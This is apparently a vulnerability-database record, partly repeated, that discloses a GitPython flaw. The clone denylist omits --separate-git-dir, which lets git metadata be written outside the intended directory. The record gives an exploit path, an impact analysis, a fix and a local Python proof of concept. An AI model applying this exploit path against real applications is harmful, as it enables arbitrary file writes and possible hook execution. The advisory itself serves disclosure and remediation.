`--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython\u0027s own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path \u2014 i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` \u2014 `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` \u2014 `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` \u2014 docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` \u2014 `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` \u2014 which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No \u2014 `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`\u0027s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No \u2014 confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path \u2014 `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) \u2014 i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one \u2014 currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers\u0027 own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-btcli-CVE-2026-78677",
"modified": "2026-09-09T23:44:39Z",
"published": "2026-09-04T08:47:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2210"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination",
"upstream": [
"PYSEC-2026-3787",
"CVE-2026-78677",
"GHSA-8mcc-hrx5-hvxc"
]
}
BREW-CF2TF-CVE-2026-78677 (PYSEC-2026-3787)
Vulnerability from osv_homebrew – Published: 2026-09-04 08:48 – Updated: 2026-09-17 18:12 – Source website- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
- Affected component:
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs. - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:
:param allow_unsafe_options:
Allow unsafe options to be used, such as ``--template`` and
``--separate-git-dir``.
i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:
unsafe_git_clone_options = [
"--upload-pack",
"-u",
"--config",
"-c",
"--template",
"--bundle-uri",
]
So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.
Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path
- Attacker-controlled input reaches a
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse. Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:
- Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
- Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
- The calling application forwards a caller-influenced value into a
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.- PoC (
gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is
--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "cf2tf",
"purl": "pkg:brew/cf2tf"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.1"
},
{
"fixed": "0.9.2_9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` \u2014 *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 \u2192 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository\u0027s entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython\u0027s own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers\u0027 own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` \u2014 e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list \u2014 gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not \u2014 despite the function\u0027s own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` \u2014 no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path \u2014 which can be **any path outside the intended clone destination** that the process has permission to create \u2014 and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository\u0027s `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there \u2014 an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython\u0027s own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path \u2014 i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` \u2014 `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` \u2014 `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` \u2014 docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` \u2014 `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` \u2014 which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No \u2014 `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`\u0027s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No \u2014 confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path \u2014 `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) \u2014 i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one \u2014 currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers\u0027 own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
